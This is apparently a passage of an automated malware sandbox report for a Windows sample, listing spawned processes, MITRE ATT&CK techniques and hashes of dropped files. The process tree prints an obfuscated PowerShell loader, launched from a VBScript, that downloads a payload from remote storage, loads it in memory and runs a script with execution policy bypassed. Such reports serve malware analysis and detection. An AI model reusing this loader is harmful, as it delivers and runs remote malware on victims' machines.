        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6184,i,7817856921271471912,5393045687027051696,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:1
        5⤵
        
        PID:12180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6344,i,3535842500273959265,8228579332309847216,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:1
        5⤵
        
        PID:7292
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,12717929813430371670,17859565377293708713,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:14
        5⤵
        
        PID:12724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6908,i,7503275686415978146,18130154461914186508,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:14
        5⤵
        
        PID:11592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6940,i,10314529788616729577,14988263612323811779,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:14
        5⤵
        
        PID:11600
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,6044801476452676022,15599339056500813065,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=7024 /prefetch:14
        5⤵
        
        PID:12156
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,12717929813430371670,17859565377293708713,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:14
        5⤵
        
        PID:6824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7036,i,15167742421807202404,5716797354552858981,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=7068 /prefetch:1
        5⤵
        
        PID:16228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7232,i,16749227577638084289,13303052495729119077,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=7248 /prefetch:1
        5⤵
        
        PID:16268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RoxanneIQ6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:12064
- - C:\Windows\System32\a\DragonBalls76Ace.exe
    DragonBalls76Ace.exe
    3⤵
    PID:5636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=DragonBalls76Ace.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:10164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=DragonBalls76Ace.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:12140
- - C:\Windows\System32\a\file_b82f2dba4422534f.exe
    file_b82f2dba4422534f.exe
    3⤵
    PID:10088
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe System4.vbs
    3⤵
    PID:10144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRk1TQnVpbGQudHh0P2FsdD1tZWRpYSZ0b2tlbj05ODRlZTkyMS0xNjQ3LTRmZDYtYTRkZi1lZjNlOWZlYTkyN2InIDskUHhQeXQgPSঔৣ⇜oICdDOlxQcm9ncmFtRGF0YVwnICsgJ2RTdnduLnR4dCcpOyR3ZWJDbGllbnQuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCঔৣ⇜nTW96aWxsYS81Ljঔৣ⇜gKFdpbmRvd3MgTlQgMTঔৣ⇜uMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgTGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjঔৣ⇜uMCBTYWZhcmkvNTM3LjM2IEVkZy8xMjঔৣ⇜uMC4wLjঔৣ⇜nKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskSGNYQnMgPSঔৣ⇜kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKSঔৣ⇜7JEhjWEJzIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dCঔৣ⇜tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZSঔৣ⇜7JFd4TkN6ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKSঔৣ⇜7JFpKYnNVWCঔৣ⇜9ICdMb2FkJyঔৣ⇜7JFpTRFlHID0gJ0ludm9rZSc7JHlObFVPID0gJG51bGw7JFlXRkliID0gJyR0eEllTiঔৣ⇜9ICcndHh0LmZhbm1vZ24vbmlhbS9zZGFlaC9zZmVyL3NvdmloY3JhLXNpbS9ncGotNjI2MjYycmVsZ25lcHMvbW9jLnRuZXRub2NyZXN1YnVodGlnLndhci8vOicnICsgJydzcHQnJyঔৣ⇜rICcndGgnJyঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICc7JHggPSঔৣ⇜oJydDOlxQcm9ncmFtRGF0YVxkU3Z3bi50eHQnJyk7JE9nbWVnYyঔৣ⇜9IChHZXQtQ29udGVudCঔৣ⇜tUGF0aCঔৣ⇜keCঔৣ⇜tRW5jb2RpbmcgVVRGOCk7JE9nbWVnYyঔৣ⇜9ICRPZ21lZ2MucmVwbGFjZSgnJz09PT09PT09PScnLCঔৣ⇜nJ0EnJyk7Jyঔৣ⇜7JFlXRkliICs9ICdbQnl0ZVtdXSঔৣ⇜kVkxtUGUgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCঔৣ⇜kT2dtZWdjICkgOycgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nW1N5c3RlbS5BcHBEb21haW5dOicgKyঔৣ⇜nOkN1cnJlbnREb21haW4uJyঔৣ⇜rICRaSmJzVVggKyঔৣ⇜nKCঔৣ⇜kVkxtUGUgKS4nIDskWVdGSWIgKz0gJ0dldFR5cGUoICcnRmpyRC5HcWdhJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydOUkpPTVMnJyঔৣ⇜pLicgKyঔৣ⇜kWlNEWUcgKyঔৣ⇜nKCঔৣ⇜keU5sVU8gLCBbb2JqZWN0W11dICggKCঔৣ⇜kdHhJZU4gKSঔৣ⇜sICcnJXVqSkRkVSUnJyঔৣ⇜sICcnT0V6VEpDJycsICcnMDMnJywgJycxJycsICcnY2FjYScnICঔৣ⇜pICkgOycgOyRXRU1FUyঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nRHZWYnMucHMxJyঔৣ⇜pIDskWVdGSWIgfCBPdXQtRmlsZSঔৣ⇜tRmlsZVBhdGggJFdFTUVTICঔৣ⇜tZm9yY2UgO3Bvd2Vyc2hlbGwgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgJFdFTUVTIDs=';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Windows&System32&a&System4.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2072
- - C:\Windows\System32\a\Thimble.exe
    Thimble.exe
    3⤵
    PID:4940
- - C:\Windows\System32\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:11092
- - C:\Windows\System32\a\kononiaZClient.exe
    kononiaZClient.exe
    3⤵
    PID:13224
- - C:\Windows\System32\a\ThornFlash3Client.exe
    ThornFlash3Client.exe
    3⤵
    PID:12580
- - C:\Windows\System32\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:3784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c hold.bat
    3⤵
    PID:15548
- - C:\Windows\System32\a\Ebu.exe
    Ebu.exe
    3⤵
    PID:15784
- - C:\Windows\System32\a\Wizard.exe
    Wizard.exe
    3⤵
    PID:11508
- - C:\Windows\System32\a\Client.exe
    Client.exe
    3⤵
    PID:15844
- - C:\Windows\System32\a\EagleJetClient4.exe
    EagleJetClient4.exe
    3⤵
    PID:4836
- - C:\Windows\System32\a\php.exe
    php.exe
    3⤵
    PID:7408
- - C:\Windows\System32\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:6168
- - C:\Windows\System32\a\ProctorU.1.32.win.08.exe
    ProctorU.1.32.win.08.exe
    3⤵
    PID:13436
- - C:\Windows\System32\a\acr-g1upd-639159296668701809.exe
    acr-g1upd-639159296668701809.exe
    3⤵
    PID:12316
- - C:\Windows\System32\a\hilton.exe
    hilton.exe
    3⤵
    PID:14164

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2608
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D433B6B68DF82EC79DFCA7D9F3616504 C
  2⤵
  PID:6408
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 135240A3DD3981859FCC50A4D5052E3C C
  2⤵
  PID:15196

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6368

C:\Users\Admin\AppData\Local\Temp\a\V19WUgrYBBhq.exe
C:\Users\Admin\AppData\Local\Temp\a\V19WUgrYBBhq.exe
1⤵
PID:9768
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 9768 -s 620
  2⤵
  - Program crash
  PID:7896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 9768 -ip 9768
1⤵
PID:10040

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:8364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 10572 -ip 10572
1⤵
PID:12028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 10580 -ip 10580
1⤵
PID:12124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 10588 -ip 10588
1⤵
PID:11408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 10792 -ip 10792
1⤵
PID:12152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 11092 -ip 11092
1⤵
PID:10980

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:15088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0019.0002_none_867d819169b5504f.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre...exe_25b0fbb6ef7eb094_0019.0002_none_867d819169b5504f.cdf-ms
Size 24KB
SHA256 795e8308d5f65d7d22546e401a3c214de77a583bcf8056cf6c82465ec4844aec
MD5 2e81bc9ace129d52763f80f176cc14b2
SHA1 bdc63ed101e65046ac0878735bd7afbdc07d294f
SHA512 d0a4bd8b395725d2b7916c3c18f8792b5bea115e2db39904cfdf3af5019cde43334356b66c298eaf779ece93b8cc24be70a7f65132874bf922f327afdcf0f5dc
SSDEEP 384:9Jqh+GTf6vNX95ZgMacc5X9R/QPIBM7YV+++amtZU:945f61X95+yc5X9R/QPI+0V+++amtm
TLSH
T1F1B26F01BBE1E923D1466733CCA6C3E57232FD924F92138B70423B2EAD707D95A23685
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..core_4b14c015c87c1ad8_0019.0002_none_41e6e31d258051c3.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..core_4b14c015c87c1ad8_0019.0002_none_41e6e31d258051c3.cdf-ms
Size 3KB
SHA256 be4c9c71fdd9969e4f114821017bf8076e5b98d10cc1adaac71801bf62f7d11f
MD5 b36b436efef6e5f567c28e8d21968c09
SHA1 193e05127aa528fcf6514558386e134434c8d4de
SHA512 3fc37e20d756b121c96c83442e6a248c0842c40d22ba15d9b35f03a680c4467e41deecdd3d79f8a4de34d13023329f22188bb072925b69536ac9b5c40b42c70e
TLSH
T166615307B208DA03D97D06326CE1E6EF7B683E43DE85914BB0C0377F7A325E65611256
MD5 SHA1 SHA512 TLSH

Submit Download

scre..dows_4b14c015c87c1ad8_0019.0002_none_465ebafe61ce64f3.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..dows_4b14c015c87c1ad8_0019.0002_none_465ebafe61ce64f3.cdf-ms
Size 5KB
SHA256 8fd1026899a5836403adfff7b3d3ee96a9dcec9a4bca5c661fa90ececddff721
MD5 22afcd10bfd82bc43872fe3754128168
SHA1 2768f93d70b33256478320a8f3dd3e9912fb84a7
SHA512 8e62f589b6fe50d55bf864d8810178bca4ec5a98c5b89e1510a69420e8bc5022118aeed22f53964e6784d17edc37fbb5de2ff9d64e5d0b6fe97f2912c26ea910
SSDEEP 96:4E4+RzgTheV+Ww7ukKOQlVXXezoZpviIwnANb6F:JRzgiJgKNB6FAMF
TLSH
T1FCB145117294DD1BD57906339C96C2ED2B36BE92CE43030770D8BF2FBA326E65222195
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..ient_4b14c015c87c1ad8_0019.0002_none_a32dbc410e6434d0.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..ient_4b14c015c87c1ad8_0019.0002_none_a32dbc410e6434d0.cdf-ms
Size 6KB
SHA256 08cd3cc832bee912a1f8e3eb7ecee641140aa6ddedc1107dd2ca07821bede3d9
MD5 f2db537c031bdedc56636f2ba1891946
SHA1 0f123a6104682cf2882ba80d6ab5e21d8713a1be
SHA512 86555369de8363b6dd007592859472e6746ff637a976a8f24327b6beccbbc98401d395e5466a2b27b0522f8fb08a5594495ea2a1a70348c398dfa8ced8546e60
SSDEEP 96:xmQPPypJEeV+Wwws8W5Www2WxOHnq6v+aa3vmUks6b/DrK:HPPaJo5V9qLuLzK
TLSH
T1F5D142127290EE16D1AD06339C9AD3ED32757E96DE43430B70C4BB2F7A322E65622095
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..ient_4b14c015c87c1ad8_0019.0002_none_d7fc40ef34cfa7c7.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..ient_4b14c015c87c1ad8_0019.0002_none_d7fc40ef34cfa7c7.cdf-ms
Size 2KB
SHA256 15c0d823c64e750929c69a1b18546da33ad819d1585a612f4669c8b7d90c9b9d
MD5 96be28f8e65d14077a0c573d9f43aa00
SHA1 649b39cc4b3ef91fc83c7aed19af3ebc79ef1079
SHA512 87ef5976867be7ae612ef3fb5516ae592205337bd3a49a279aa80a889bb906d250259413e0ddccabe7720d2c9641fa386a510eda214cd5372142a93036ada83f
TLSH
T1375100053748E667DA3A0331ACA2C6CA7BB83D83DF91510BB0C0377F5E716D55A2A1A5
MD5 SHA1 SHA512 TLSH

Submit Download

scre..tion_25b0fbb6ef7eb094_0019.0002_none_2771bb27d0341a32.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..tion_25b0fbb6ef7eb094_0019.0002_none_2771bb27d0341a32.cdf-ms
Size 14KB
SHA256 461789b81820de11eeec9754cc918c88049231b76ea85762359da13b663e90a8
MD5 a541fe856a39dad5580eb71744b8bed1
SHA1 6138395ba815a221b1661816a1e6ddda9d16c42d
SHA512 3784c251c9379509f746b200d66be55317b31728028fe347ebbe60f010f00aef606734bd0b221874a5a6350078d5e89b430c8a07ff74fc94e5976a64d90eb98a
SSDEEP 192:F9KWJ9rw6GSR0a8s8oeR06pRm+N8s8oTN2x2QPIlFDLhEDh7BqWojO1:F9KK9rw6t1X9chRRX9R/QPIBM7Yju
TLSH
T1ED62E6803760DA23C1169733DDE2C7E13679FE934ED2479F74027B1F6834B845622292
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..vice_4b14c015c87c1ad8_0019.0002_none_f33a7b65bb3fb52e.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\D9W5DVB0.YM3\W1LHZPXY.Y19\manifests\scre..vice_4b14c015c87c1ad8_0019.0002_none_f33a7b65bb3fb52e.cdf-ms
Size 4KB
SHA256 56df9f60dc15c2428b136ab9ae27d7800092a891c4b25455612a952cc7ba2dce
MD5 edd549def578771dfbdbe1a54c13cc1b
SHA1 d4c7e73a5ef0b64cbcdf6efaa2260592fea16ee3
SHA512 1101eed3c64c16e37a581455e9a44510d2ee6736f722da2c15ccb58db3bb0e5baa7098cc67a903ca1cdf92977f4a74286ac4c84d85c2f5e4cc11b8edd9cc1923
SSDEEP 48:A/CDvx+dgJe6S+9ow87gnW75uvNREYaWvF4AxHAxjCrbmVTyA9UZCf:A/SeV+Ww8s45uHEYhtECreTyOZf
TLSH
T1DC910F117282ED66F7A40632EC92C3FD2AA57DA2DE41230772E43F3F76712AA0731095
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5e1a5fea1006889b9c3bcf0a470a6a4256d5300a4b7036038ddce5fd042c424c
MD5 e9af81b8f1175d007e2c699939cb3df6
SHA1 696178bffe86e4e363a26747d6a5cb80e28621ce
SHA512 38174d529846c50b0af9a056e65ca491645c3cbf1fb867ef22a3b7c7ee4287ba29c3a28d736bc2e9c562faa24bb671db3b9cc40507a467140e47eaa4aeae6d51
TLSH
T145D0C0343E38F408C540207AE4514310E3138131302B8242B010F03DEC581810BDE0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 674d24008448b140a9b320032b4ed333cf5a592b073bf375c453c816d33c703b
MD5 b989ec4e221bd567659492bc1ad7ab3b
SHA1 372670805b3060960e77e6ba32a3b9edd0241cf0
SHA512 f6934e6a831bcac97110107a79389dae0e669b743e0d62e5b411c19471bf237f4d61c7cee27d9fcacbd7045cbe27e78b4e6c38f6e76ca789a7760295558b0bb3
TLSH
T1CBD0C0383E28F508C5402076E4504310E3238131742B8242B010F02DEC581810BDF0DF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 29019509dd84930434f6766a5ca9723690b7c5bdbaa63b9a1a74e2f9c31d2176
MD5 346db9c2942b64c8c44b5c6fe9a3ac24
SHA1 ed2e53c9aa000891b99cf3174bb2d2dbbc84c948
SHA512 9165f905f25169c8c9b80de3f83e4cd57e653082ee1cfcf68a718a594abff032c9a55befc6d1bc6fbc5717668ad10a7c04fc90158307af76e1a16d8fe4b47f2f
TLSH
T1C071DAFA167F19A2C72741BE63EBE18B3B7048E731036E37DB189AF05755741416B060
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a57b6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a57b6.TMP
Size 3KB
SHA256 e3bda0aa64fc67517df89a0a4bc5ec7e0cdde005edd0f7102ffcaebf1c75f0e5
MD5 52392f27f7a079b710538885d3bf9eb8
SHA1 76e2238c978250517c266e05b6d80f3f1d3dee0b
SHA512 131fa1a7d893d3730f4fbd7e03fcde585587228828c66def6606dbf1231d8d161a480eb41b21197e9563b1cf4fecbf6dd57cd2f6e036ed01cb73f290fd0514cc
TLSH
T1C071DAFA16BF19A2C72741BE63EBE19B3B7088E731436E37DB189AF00755741416B060
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 532713df5f75a06134d77b1b42ccb8a6b07e84e973c6af96b3e27ea59ef740cf
MD5 6497db8da0163ec285d406c68bbb66fe
SHA1 60dc22cd29a50a983ef9c609c3e3930ea5e1615e
SHA512 75342ad3de0af60512f32412742790ac56d3704b563fb736f5847e33a336a56cfc1ef825cce23bf6ff28d4af3a138c7b6dae0bc04787282fd698e29f8e37f4fc
TLSH
T18821AFF7C3E8467D890182F9BB182E2BCE2D0855831C7D56C4D4AB5F93E1871D28096E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
